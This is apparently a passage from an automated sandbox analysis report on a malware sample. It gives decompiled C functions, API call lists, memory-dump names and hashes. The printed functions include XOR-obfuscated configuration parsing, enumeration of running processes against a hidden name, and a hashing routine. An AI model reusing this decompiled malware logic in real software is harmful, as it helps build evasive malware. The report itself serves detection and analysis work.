						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x026721d5
0x026721d9
0x026721da
0x026721db
0x026721e0
0x026721e5
0x026721ec
0x026721f3
0x00000000
0x00000000
0x026721f5
0x026721fa
0x026721fb
0x02672202
0x0267221c
0x00000000
0x02672204
0x02672204
0x02672206
0x02672209
0x0267220d
0x00000000
0x00000000
0x0267220f
0x0267220d
0x02672224
0x02672224
0x02672226
0x0267222d
0x0267222f
0x02672235
0x0267223c
0x0267224c
0x02672244
0x02672247
0x02672247
0x0267224f
0x0267224f
0x02672258
0x02672258
0x02672222
0x00000000

APIs

Part of subcall function 026784D5: GetProcAddress.KERNEL32(36776F57,026721E5), ref: 026784F0

Part of subcall function 026712D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 026712FF
Part of subcall function 026712D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 02671321
Part of subcall function 026712D4: memset.NTDLL ref: 0267133B
Part of subcall function 026712D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 02671379
Part of subcall function 026712D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0267138D
Part of subcall function 026712D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 026713A4
Part of subcall function 026712D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 026713B0
Part of subcall function 026712D4: lstrcat.KERNEL32(?,642E2A5C), ref: 026713F1
Part of subcall function 026712D4: FindFirstFileA.KERNELBASE(?,?), ref: 02671407

Part of subcall function 0267809F: lstrlen.KERNEL32(?,00000000,0267D330,00000001,02672200,0267D00C,0267D00C,00000000,00000005,00000000,00000000,?,?,?,026796C1,026723E9), ref: 026780A8
Part of subcall function 0267809F: mbstowcs.NTDLL ref: 026780CF
Part of subcall function 0267809F: memset.NTDLL ref: 026780E1

HeapFree.KERNEL32(00000000,0267D00C,0267D00C,0267D00C,00000000,00000005,00000000,00000000,?,?,?,026796C1,026723E9,0267D00C,?,026723E9), ref: 0267221C

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: 600334e1f75d464c7dcafb7a2dd949687fe2af54f84d79138c90ad5f66ca6f4f
Instruction ID: 1e70de8c3c381661982531441a561291cd1050d9f1ddc31fd1301727a38b0557
Opcode Fuzzy Hash: 600334e1f75d464c7dcafb7a2dd949687fe2af54f84d79138c90ad5f66ca6f4f
Instruction Fuzzy Hash: 0B012835600204AAE7009EE6FCC4F6A729AEF65368F50003ABE54D7150D765DC829724

Uniqueness

Uniqueness Score: -1.00%

Function 02671262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02671262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E02679318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E02676BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x267d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x0267126a
0x026712bf
0x026712c4
0x0267126c
0x02671286
0x0267128a
0x0267128f
0x02671291
0x026712a1
0x026712ad
0x02671293
0x02671293
0x02671296
0x0267129b
0x0267129b
0x02671291
0x0267128a
0x026712ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,76D7F710,?,?,76D7F710,00000000,?,0267743A,?,004F0053,032F9388,00000000,?), ref: 026712AD

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9940fdc0235ab640a1e019a489e93e69c1e488a6c7bfbd45b0c3fd0b38ffbcde
Instruction ID: 1e77ead55509f1fb9078bfac08557e346bc13e3316e9c3c38da8ef31d4601e3a
Opcode Fuzzy Hash: 9940fdc0235ab640a1e019a489e93e69c1e488a6c7bfbd45b0c3fd0b38ffbcde
Instruction Fuzzy Hash: 2A016D32140249FBCB228F44EC41FAE3BB6EF95360F14842AFA299A260D731D4B1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02672436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E02672436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x02672436
0x02672443
0x02672444
0x02672445
0x0267244c
0x0267247a
0x0267247b
0x0267247e
0x02672484
0x00000000
0x00000000
0x02672463
0x0267246d
0x02672474
0x00000000
0x02672465
0x02672468
0x02672488
0x0267246a
0x0267246a
0x00000000
0x0267246a
0x02672468
0x0267248f
0x02672495
0x02672495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 0267247E

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 653e4cdb15e6d2271e0e6b9d6bf09aa2d289c1710c59906c6921fb4b3f3e408c
Instruction ID: 22b2c7533bac722d6b352038f8deae6bb859c1cf97194ce71be9e59c2826e031
Opcode Fuzzy Hash: 653e4cdb15e6d2271e0e6b9d6bf09aa2d289c1710c59906c6921fb4b3f3e408c
Instruction Fuzzy Hash: 79F04971C01219EFDB04DB98E498AEDB7B8EF04304F1080BAE902A3205D3B46B84CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02674094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E02674094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x267d278; // 0x63699bc3
				if(E02678748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x267d2d4 = _v12;
				}
				_t25 =  *0x267d278; // 0x63699bc3
				if(E02678748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x267d278; // 0x63699bc3
						_t31 = E02673F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x267d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x267d278; // 0x63699bc3
						_t32 = E02673F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x267d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x267d278; // 0x63699bc3
						_t33 = E02673F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x267d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x267d278; // 0x63699bc3
						_t34 = E02673F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x267d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x267d278; // 0x63699bc3
						_t35 = E02673F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x267d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x267d278; // 0x63699bc3
						_t36 = E02673F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E02676ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E0267A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x267d278; // 0x63699bc3
						_t37 = E02673F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E02676ED2(0, _t37) != 0) {
						_t102 =  *0x267d32c; // 0x32f95b0
						E026775E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x267d278; // 0x63699bc3
						_t38 = E02673F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x267d27c; // 0xc7a5a8
						_t18 = _t39 + 0x267e252; // 0x616d692f
						 *0x267d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E02676ED2(0, _t38);
						 *0x267d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x267d278; // 0x63699bc3
								_t41 = E02673F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x267d27c; // 0xc7a5a8
								_t19 = _t42 + 0x267e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E02676ED2(0, _t41);
							}
							 *0x267d340 = _t43;
							HeapFree( *0x267d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x02674094
0x02674097
0x026740b7
0x026740c5
0x026740c5
0x026740ca
0x026740e4
0x026742e2
0x026742e4
0x00000000
0x026740ea
0x026740ea
0x026740f1
0x02674107
0x026740f3
0x026740f3
0x02674100
0x02674100
0x02674111
0x02674113
0x0267411d
0x02674122
0x02674122
0x0267411d
0x02674129
0x0267413f
0x0267412b
0x0267412b
0x02674138
0x02674138
0x02674143
0x02674145
0x0267414f
0x02674154
0x02674154
0x0267414f
0x0267415b
0x02674171
0x0267415d
0x0267415d
0x0267416a
0x0267416a
0x02674175
0x02674177
0x02674181
0x02674186
0x02674186
0x02674181
0x0267418d
0x026741a3
0x0267418f
0x0267418f
0x0267419c
0x0267419c
0x026741a7
0x026741a9
0x026741b3
0x026741b8
0x026741b8
0x026741b3
0x026741bf
0x026741d5
0x026741c1
0x026741c1
0x026741ce
0x026741ce
0x026741d9
0x026741db
0x026741e5
0x026741ea
0x026741ea
0x026741e5
0x026741f1
0x02674207
0x026741f3
0x026741f3
0x02674200
0x02674200
0x0267420b
0x0267420d
0x02674210
0x02674211
0x02674218
0x0267421a
0x0267421b
0x0267421b
0x02674218
0x02674222
0x02674238
0x02674224
0x02674224
0x02674231
0x02674231
0x0267423c
0x0267424a
0x02674254
0x02674254
0x0267425b
0x02674271
0x0267425d
0x0267425d
0x0267426a
0x0267426a
0x02674275
0x02674288
0x02674288
0x0267428d
0x02674293
0x00000000
0x02674277
0x0267427a
0x02674281
0x02674286
0x02674298
0x0267429a
0x026742b0
0x0267429c
0x0267429c
0x026742a9
0x026742a9
0x026742b4
0x026742c0
0x026742c5
0x026742c5
0x026742b6
0x026742b9
0x026742b9
0x026742d3
0x026742d8
0x026742e5
0x026742e9
0x026742e9
0x00000000
0x02674286
0x02674275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,026723DE,?,63699BC3,026723DE,?,63699BC3,00000005,0267D00C,00000008,?,026723DE), ref: 02674119
StrToIntExA.SHLWAPI(00000000,00000000,?,026723DE,?,63699BC3,026723DE,?,63699BC3,00000005,0267D00C,00000008,?,026723DE), ref: 0267414B
StrToIntExA.SHLWAPI(00000000,00000000,?,026723DE,?,63699BC3,026723DE,?,63699BC3,00000005,0267D00C,00000008,?,026723DE), ref: 0267417D
StrToIntExA.SHLWAPI(00000000,00000000,?,026723DE,?,63699BC3,026723DE,?,63699BC3,00000005,0267D00C,00000008,?,026723DE), ref: 026741AF
StrToIntExA.SHLWAPI(00000000,00000000,?,026723DE,?,63699BC3,026723DE,?,63699BC3,00000005,0267D00C,00000008,?,026723DE), ref: 026741E1
HeapFree.KERNEL32(00000000,026723DE,026723DE,?,63699BC3,026723DE,?,63699BC3,00000005,0267D00C,00000008,?,026723DE), ref: 026742D8

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4c1ba392dcade6e5c5fda656f3e9b2d2f2c1f3f0438f6ea1061bd05aaea5ef91
Instruction ID: c0e387de3cc41c437663bdd73b061d33b15c07f9440d1ecf8319e43e4940f372
Opcode Fuzzy Hash: 4c1ba392dcade6e5c5fda656f3e9b2d2f2c1f3f0438f6ea1061bd05aaea5ef91
Instruction Fuzzy Hash: B16184B0A10104AADB14EBB4FCCCD6F77FD9FA82547245E55A611E7304EF30D9A68B24

Uniqueness

Uniqueness Score: -1.00%

Function 0267757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0267757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x267d27c; // 0xc7a5a8
						_t2 = _t9 + 0x267ee54; // 0x73617661
						_push( &_v264);
						if( *0x267d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0267758a
0x02677594
0x02677598
0x026775a2
0x026775d3
0x026775a9
0x026775ae
0x026775bb
0x026775c4
0x026775db
0x026775c6
0x026775ce
0x00000000
0x026775ce
0x026775dc
0x026775dd
0x00000000
0x026775dd
0x00000000
0x026775d7
0x026775e3
0x026775e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0267758F
Process32First.KERNEL32(00000000,?), ref: 026775A2
Process32Next.KERNEL32(00000000,?), ref: 026775CE
CloseHandle.KERNEL32(00000000), ref: 026775DD

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 186995e1a288aa5e810b9578c43393c04b1d4fd9978784f60d3e52d84d9e679b
Instruction ID: 5fae8128cf6bce7f6aa15d4ceb63d66a0485f63aa93cc0a954f1fc8154d53963
Opcode Fuzzy Hash: 186995e1a288aa5e810b9578c43393c04b1d4fd9978784f60d3e52d84d9e679b
Instruction Fuzzy Hash: A6F096716011296AEB21A776BC48EEB77ADDFC4710F000461F916D2100EF34C99ACAA9

Uniqueness

Uniqueness Score: -1.00%

Function 10001850, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001850() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;
				void* _t12;

				_t8 =  *0x10004130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x1000413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t12 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 > 0) {
						L5:
						 *0x1000412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x10004128 = _t5;
						 *0x10004130 = _t8;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x10004124 = _t6;
						if(_t6 == 0) {
							 *0x10004124 =  *0x10004124 | 0xffffffff;
						}
						return 0;
					} else {
						_t12 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x10001851
0x1000185f
0x10001867
0x1000186c
0x100018be
0x100018be
0x1000186e
0x10001876
0x1000187e
0x1000187e
0x100018ba
0x100018bc
0x00000000
0x00000000
0x00000000
0x10001878
0x1000187a
0x10001880
0x10001880
0x10001885
0x10001893
0x10001898
0x1000189e
0x100018a6
0x100018ab
0x100018ad
0x100018ad
0x100018b7
0x1000187c
0x1000187c
0x00000000
0x1000187c
0x1000187a

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,76D263F0), ref: 1000185F
GetVersion.KERNEL32 ref: 1000186E
GetCurrentProcessId.KERNEL32 ref: 10001885
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction ID: 85c0868463d14858f17c42858624fe0a32704ce5df48730f043fd2a385afc03a
Opcode Fuzzy Hash: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction Fuzzy Hash: 69F0C2B06492309AF701DF68ADC57C53BE8E7097D2F028215E244D61ECDBB085818B5C

Uniqueness

Uniqueness Score: -1.00%

Function 026797F2, Relevance: 1.9, APIs: 1, Instructions: 610
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E026797F2(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t274;
				signed int _t337;
				void* _t347;
				signed int _t348;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t366;
				signed int _t375;
				signed int _t377;
				signed int _t379;
				signed int _t381;
				signed int _t383;
				intOrPtr* _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t445;
				void* _t447;
				signed int _t507;
				signed int _t598;
				signed int _t606;
				signed int _t612;
				signed int _t678;
				signed int* _t681;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				signed int _t691;
				signed int _t696;
				signed int _t698;
				signed int _t717;
				signed int _t719;
				signed int _t721;
				signed int _t723;
				signed int _t725;
				signed int _t727;
				signed int _t733;
				signed int _t739;
				signed int _t741;
				signed int _t743;
				signed int _t745;
				signed int _t747;

				_t226 = _a4;
				_t347 = __ecx + 2;
				_t681 =  &_v76;
				_t447 = 0x10;
				do {
					_t274 =  *(_t347 - 1) & 0x000000ff;
					_t347 = _t347 + 4;
					 *_t681 = (0 << 0x00000008 | _t274) << 0x00000008 |  *(_t347 - 6) & 0x000000ff;
					_t681 =  &(_t681[1]);
					_t447 = _t447 - 1;
				} while (_t447 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t682 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t407 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t348 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t682 & _t348 | _t407 & _t682) + _v76 +  *_t226 - 0x28955b88 + _t682;
				asm("rol ecx, 0xc");
				_t350 = ( !_t229 & _t407 | _t682 & _t229) + _v72 + _t348 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t409 = ( !_t350 & _t682 | _t350 & _t229) + _v68 + _t407 + 0x242070db + _t350;
				asm("ror esi, 0xa");
				_t684 = ( !_t409 & _t229 | _t350 & _t409) + _v64 + _t682 - 0x3e423112 + _t409;
				_v8 = _t684;
				_t689 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t684 & _t350 | _t409 & _v8) + _v60 + _t229 - 0xa83f051 + _t689;
				asm("rol ecx, 0xc");
				_t352 = ( !_t231 & _t409 | _t689 & _t231) + _v56 + _t350 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t411 = ( !_t352 & _t689 | _t352 & _t231) + _v52 + _t409 - 0x57cfb9ed + _t352;
				asm("ror esi, 0xa");
				_t691 = ( !_t411 & _t231 | _t352 & _t411) + _v48 + _t689 - 0x2b96aff + _t411;
				_v8 = _t691;
				_t696 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t691 & _t352 | _t411 & _v8) + _v44 + _t231 + 0x698098d8 + _t696;
				asm("rol ecx, 0xc");
				_t354 = ( !_t233 & _t411 | _t696 & _t233) + _v40 + _t352 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t413 = ( !_t354 & _t696 | _t354 & _t233) + _v36 + _t411 - 0xa44f + _t354;
				asm("ror esi, 0xa");
				_t698 = ( !_t413 & _t233 | _t354 & _t413) + _v32 + _t696 - 0x76a32842 + _t413;
				_v8 = _t698;
				asm("rol eax, 0x7");
				_t235 = ( !_t698 & _t354 | _t413 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t356 = ( !_t235 & _t413 | _v8 & _t235) + _v24 + _t354 - 0x2678e6d + _t235;
				_t507 =  !_t356;
				asm("ror edx, 0xf");
				_t415 = (_t507 & _v8 | _t356 & _t235) + _v20 + _t413 - 0x5986bc72 + _t356;
				_v12 = _t415;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t717 = (_v12 & _t235 | _t356 & _t415) + _v16 + _v8 + 0x49b40821 + _t415;
				asm("rol eax, 0x5");
				_t237 = (_t507 & _t415 | _t356 & _t717) + _v72 + _t235 - 0x9e1da9e + _t717;
				asm("rol ecx, 0x9");
				_t358 = (_v12 & _t717 | _t415 & _t237) + _v52 + _t356 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t417 = ( !_t717 & _t237 | _t358 & _t717) + _v32 + _t415 + 0x265e5a51 + _t358;
				asm("ror esi, 0xc");
				_t719 = ( !_t237 & _t358 | _t417 & _t237) + _v76 + _t717 - 0x16493856 + _t417;
				asm("rol eax, 0x5");
				_t239 = ( !_t358 & _t417 | _t358 & _t719) + _v56 + _t237 - 0x29d0efa3 + _t719;
				asm("rol ecx, 0x9");
				_t360 = ( !_t417 & _t719 | _t417 & _t239) + _v36 + _t358 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t419 = ( !_t719 & _t239 | _t360 & _t719) + _v16 + _t417 - 0x275e197f + _t360;
				asm("ror esi, 0xc");
				_t721 = ( !_t239 & _t360 | _t419 & _t239) + _v60 + _t719 - 0x182c0438 + _t419;
				asm("rol eax, 0x5");
				_t241 = ( !_t360 & _t419 | _t360 & _t721) + _v40 + _t239 + 0x21e1cde6 + _t721;
				asm("rol ecx, 0x9");
				_t362 = ( !_t419 & _t721 | _t419 & _t241) + _v20 + _t360 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t421 = ( !_t721 & _t241 | _t362 & _t721) + _v64 + _t419 - 0xb2af279 + _t362;
				asm("ror esi, 0xc");
				_t723 = ( !_t241 & _t362 | _t421 & _t241) + _v44 + _t721 + 0x455a14ed + _t421;
				asm("rol eax, 0x5");
				_t243 = ( !_t362 & _t421 | _t362 & _t723) + _v24 + _t241 - 0x561c16fb + _t723;
				asm("rol ecx, 0x9");
				_t364 = ( !_t421 & _t723 | _t421 & _t243) + _v68 + _t362 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t423 = ( !_t723 & _t243 | _t364 & _t723) + _v48 + _t421 + 0x676f02d9 + _t364;
				asm("ror esi, 0xc");
				_t725 = ( !_t243 & _t364 | _t423 & _t243) + _v28 + _t723 - 0x72d5b376 + _t423;
				asm("rol eax, 0x4");
				_t245 = (_t364 ^ _t423 ^ _t725) + _v56 + _t243 - 0x5c6be + _t725;
				asm("rol ecx, 0xb");
				_t366 = (_t423 ^ _t725 ^ _t245) + _v44 + _t364 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t425 = (_t366 ^ _t725 ^ _t245) + _v32 + _t423 + 0x6d9d6122 + _t366;
				_t598 = _t366 ^ _t425;
				asm("ror esi, 0x9");
				_t727 = (_t598 ^ _t245) + _v20 + _t725 - 0x21ac7f4 + _t425;
				asm("rol eax, 0x4");
				_t247 = (_t598 ^ _t727) + _v72 + _t245 - 0x5b4115bc + _t727;
				asm("rol edi, 0xb");
				_t606 = (_t425 ^ _t727 ^ _t247) + _v60 + _t366 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t427 = (_t606 ^ _t727 ^ _t247) + _v48 + _t425 - 0x944b4a0 + _t606;
				_t337 = _t606 ^ _t427;
				asm("ror ecx, 0x9");
				_t375 = (_t337 ^ _t247) + _v36 + _t727 - 0x41404390 + _t427;
				asm("rol eax, 0x4");
				_t249 = (_t337 ^ _t375) + _v24 + _t247 + 0x289b7ec6 + _t375;
				asm("rol esi, 0xb");
				_t733 = (_t427 ^ _t375 ^ _t249) + _v76 + _t606 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t612 = (_t733 ^ _t375 ^ _t249) + _v64 + _t427 - 0x2b10cf7b + _t733;
				_t429 = _t733 ^ _t612;
				asm("ror ecx, 0x9");
